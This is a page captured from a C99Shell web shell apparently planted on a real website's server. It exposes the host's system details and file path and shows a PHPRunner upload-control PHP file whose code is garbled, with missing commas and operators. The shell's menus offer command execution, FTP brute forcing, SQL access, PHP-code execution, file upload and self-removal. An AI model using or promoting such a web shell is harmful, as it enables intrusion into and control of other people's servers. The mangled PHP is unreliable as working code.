!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/data/classes/controls/   drwxr-xr-x
Free 30.71 GB of 49.93 GB (61.52%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FileFieldSingle.php (9.68 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
class FileFieldSingle extends EditControl
{
    var 
$upload_handler null;

    function 
__construct($field$pageObject$id$connection)
    {
        
parent::__construct($field$pageObject$id$connection);
        
$this->format EDIT_FORMAT_FILE;

    }

    function 
initUploadHandler()
    {
        if(
is_null($this->upload_handler))
        {
            require_once 
getabspath("classes/uploadhandler.php");
            
$this->upload_handler = new UploadHandler(getOptionsForMultiUpload($this->pageObject->pSet$this->field));
            
$this->upload_handler->pSet $this->pageObject->pSetEdit;
            
$this->upload_handler->field $this->field;
            
$this->upload_handler->table $this->pageObject->tName;
            
$this->upload_handler->pageType $this->pageObject->pageType;
            
$this->upload_handler->pageName $this->pageObject->pageName;
        }
    }


    
/**
     * addJSFiles
     * Add control JS files to page object
     */
    
function addJSFiles()
    {
    }

    
/**
     * addCSSFiles
     * Add control CSS files to page object
     */
    
function addCSSFiles()
    {
    }

    function 
buildControl($value$mode$fieldNum$validate$additionalCtrlParams$data)
    {
        
parent::buildControl($value$mode$fieldNum$validate$additionalCtrlParams$data);

        
$this->initUploadHandler();
        
$keyParams = array();
        foreach( 
$this->pageObject->pSetEdit->getTableKeys() as $i => $kf )
        {
            
$keyParams[] = "key".($i 1). "=".runner_htmlspecialchars(rawurlencode( @$data$kf ] ));
        }
        
$this->upload_handler->tkeys "&" implode("&"$keyParams);

        if( 
$this->pageObject->pageType == PAGE_SEARCH || $this->pageObject->pageType == PAGE_LIST )
        {
            
$classString "";
            if( 
$this->pageObject->isBootstrap() )
                
$classString " class=\"form-control\"";
            echo 
'<input id="'.$this->cfield.'" '.$classString.$this->inputStyle.' type="text" '
                
.($mode == MODE_SEARCH 'autocomplete="off" ' '')
                .((
$mode==MODE_INLINE_EDIT || $mode==MODE_INLINE_ADD) && $this->is508==true 'alt="'.$this->strLabel.'" ' '')
                .
'name="'.$this->cfield.'" '.$this->pageObject->pSetEdit->getEditParams($this->field).' value="'
                
.runner_htmlspecialchars($value).'">';

            
$this->buildControlEnd($validate$mode);
            return;
        }

        if( 
$mode == MODE_SEARCH )
            
$this->format "";

        
$disp "";
        
$strfilename "";

        
$filename_size 30;
        if( 
$this->pageObject->pSetEdit->isUseTimestamp$this->field ) )
            
$filename_size 50;

        if( 
$mode == MODE_EDIT || $mode == MODE_INLINE_EDIT )
        {
            
// show current file
            
$newUploaderFilesData my_json_decode($value);
            
$newUploaderWasUsed is_array($newUploaderFilesData) && count($newUploaderFilesData) > 0;

            
$fileData $newUploaderWasUsed $newUploaderFilesData[0] : array();
            
$fileName $newUploaderWasUsed $fileData["usrName"] : $value;

            
$viewFormat $this->pageObject->pSetEdit->getViewFormat$this->field );
            if( 
$viewFormat == FORMAT_FILE || $viewFormat == FORMAT_FILE_IMAGE )
                
$disp $this->getFileOrImageMarkup$value$fileName$newUploaderWasUsed$fileData )."<br />";

            
//    filename edit
            
$strfilename '<input type=hidden name="filenameHidden_'.$this->cfieldname.'" value="'.runner_htmlspecialchars$fileName ).'"><br>'
                
."Filename"
                
.'&nbsp;&nbsp;<input type="text" style="background-color:gainsboro" disabled id="filename_'.$this->cfieldname
                
.'" name="filename_'.$this->cfieldname.'" size="'.$filename_size.'" maxlength="100" value="'.runner_htmlspecialchars$fileName ).'">';

            
$strtype '<br><input id="'.$this->ctype.'_keep" type="Radio" name="'.$this->ctype
                    
.'" value="upload0" checked class="rnr-uploadtype">'."Keep";

            if( (
strlen($value) || $mode == MODE_INLINE_EDIT) && !$this->pageObject->pSetEdit->isRequired($this->field) )
            {
                
$strtype .= '<input id="'.$this->ctype.'_delete" type="Radio" name="'.$this->ctype
                    
.'" value="upload1" class="rnr-uploadtype">'."Delete";
            }
            
$strtype .= '<input id="'.$this->ctype.'_update" type="Radio" name="'.$this->ctype
                
.'" value="upload2" class="rnr-uploadtype">'."Update";
        }
        else
        {
            
//    if Adding record
            
$strtype '<input id="'.$this->ctype.'" type="hidden" name="'.$this->ctype.'" value="upload2">';

            
$strfilename '<br>'."Filename"
                
.'&nbsp;&nbsp;<input type="text" id="filename_'.$this->cfieldname.'" name="filename_'.$this->cfieldname.'" size="'
                
.$filename_size.'" maxlength="100">';
        }

        echo 
$disp.$strtype;

        if( 
$mode == MODE_EDIT || $mode == MODE_INLINE_EDIT )
            echo 
'<br>';

        echo 
'<input type="File" id="'.$this->cfield.'" '
            
.'accept="'.$this->pageObject->pSetEdit->getAcceptFileTypesHtml($this->field).'" '
            
.( ($mode == MODE_INLINE_EDIT || $mode == MODE_INLINE_ADD) && $this->is508 == true 'alt="'.$this->strLabel.'" ' '')
            .
' name="'.$this->cfield.'" >'.$strfilename;

        echo 
'<input type="Hidden" id="notempty_'.$this->cfieldname.'" value="'.(strlen($value)? 0).'">';

        
$this->buildControlEnd($validate$mode);
    }

    
/**
     * Get the image or file link markup
     * @param String value
     * @param String fileName
     * @param Boolean newUploaderWasUsed
     * @param Array fileData
     * @return String
     */
    
function getFileOrImageMarkup$value$fileName$newUploaderWasUsed$fileData )
    {
        
$cachedValue $value;


        if( 
$newUploaderWasUsed ) {
            
$finalFilePath $filePath $fileData["name"];
            
$usrFile $this->upload_handler->buildUserFile$fileData );
        }
        else
        {
            
$uploadFolder $this->pageObject->pSetEdit->getUploadFolder$this->field );
            
$filePath $uploadFolder.$value;

            
$finalUploadFolder $this->pageObject->pSetEdit->getFinalUploadFolder$this->field );
            
$finalFilePath $finalUploadFolder.$value;
            
$sourceFile = array( 
                
"usrName" => $fileName
            
);
            if( 
$this->pageObject->pSetEdit->showThumbnail$this->field ) )
            {
                
$thumbprefix $this->pageObject->pSetEdit->getStrThumbnail$this->field );
                
$thumbPath $uploadFolder.$thumbprefix.$fileName;
                
$finalThumbPath $finalUploadFolder.$thumbprefix.$fileName;
                if( 
substr($thumbPath07) != "http://" )
                {
                    if( 
myfile_exists(getabspath$finalThumbPath )) )
                        
$sourceFile["thumbnail"] = 1;
                }
            }
            
$usrFile $this->upload_handler->buildUserFile$sourceFile );
        }

        if( !
CheckImageExtension($fileName) )
        {
            return 
"<a target=\"_blank\" href=\""runner_htmlspecialchars$usrFile["url"] )."\">"
                
.runner_htmlspecialchars($fileName)."</a>";
        }

        
$altAttr $this->is508 " alt=\"".runner_htmlspecialchars$fileName )."\"" "";

        if( !
myfile_exists(getabspath$finalFilePath ) ) )
            
$filePath "images/no_image.gif";

        if( 
$usrFile["thumbnail_url"] )
        {
            
// show thumbnail
            
return "<a target=\"_blank\" href=\""runner_htmlspecialchars$usrFile["url"] ) . "\" >"
                
."<img"$altAttr ." border=0 src=\""runner_htmlspecialchars$usrFile["thumbnail_url"] ) . "\"></a>";
        }

        
$imageValue $usrFile["url"];
        if( 
$filePath != "images/no_image.gif" && !$newUploaderWasUsed )
        {
            if( 
filesize($finalUploadFolder.$fileName) > 51200 )
                
$imageValue "images/icons/jpg.png";
        }

        
$disp '<img '.$altAttr.'src="'.GetRootPathForResources(runner_htmlspecialchars$imageValue )).'" border=0>';
        if( 
$imageValue != "images/no_image.gif" )
            
$disp "<a target=\"_blank\" href=\"".runner_htmlspecialchars$usrFile["url"] )."\">".$disp."</a>";

        return 
$disp;
    }

    
/**
     *
     */
    
function readWebValue(&$avalues, &$blobfields$legacy1$legacy2, &$filename_values)
    {
        
$this->getPostValueAndType();

        if( 
FieldSubmitted$this->goodFieldName."_".$this->id ) )
        {
            
$fileNameForPrepareFunc securityCheckFileNamepostvalue("filename_".$this->goodFieldName."_".$this->id) );
            if( 
$this->pageObject->pageType != PAGE_EDIT )
            {
                
$this->webValue prepare_upload($this->field"upload2"$fileNameForPrepareFunc$fileNameForPrepareFunc""
                    
$this->id$this->pageObject);
            }
            else
            {
                if(
substr($this->webType04) == "file")
                {
                    
$prepearedFile prepare_file($this->webValue$this->field$this->webType$fileNameForPrepareFunc$this->id);
                    if(
$prepearedFile !== false)
                    {
                        
$this->webValue $prepearedFile["value"];
                        
$filename $prepearedFile["filename"];
                    }
                    else
                        
$this->webValue false;
                }
                else if(
substr($this->webType06) == "upload")
                {
                    if(
$fileNameForPrepareFunc)
                        
$this->webValue $fileNameForPrepareFunc;
                    if(
$this->webType == "upload1")
                    {
                        
// file deletion, read filename from the database
                        
$oldValues $this->pageObject->getOldRecordData();
                        
$fileNameForPrepareFunc $oldValues[$this->field];
                    }
                    
$this->webValue prepare_upload($this->field$this->webType$fileNameForPrepareFunc$this->webValue""$this->id$this->pageObject);
                }
            }
        }
        else
            
$this->webValue false;

        if(!(
$this->webValue === false))
        {
            if( 
$this->webValue && $this->pageObject->pSetEdit->getCreateThumbnail($this->field) )
            {
                
$contents GetUploadedFileContents("value_".$this->goodFieldName."_".$this->id);
                
$ext CheckImageExtensionGetUploadedFileName("value_".$this->goodFieldName."_".$this->id) );
                if( 
$ext ) {
                    
$thumb CreateThumbnail($contents$this->pageObject->pSetEdit->getThumbnailSize($this->field), $ext);
                    
$this->pageObject->filesToSave[] = new SaveFile($thumb$this->pageObject->pSetEdit->GetStrThumbnail($this->field)
                        .
$this->webValue$this->pageObject->pSetEdit->getUploadFolder($this->field), $this->pageObject->pSetEdit->isAbsolute($this->field));
                }
            }

            
$avalues$this->field ] = $this->webValue;
        }
    }

    function 
makeWidthStyle($widthPx)
    {
        if(
== $widthPx)
            return 
"";
        return 
"min-width: ".$widthPx."px";
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0029 ]--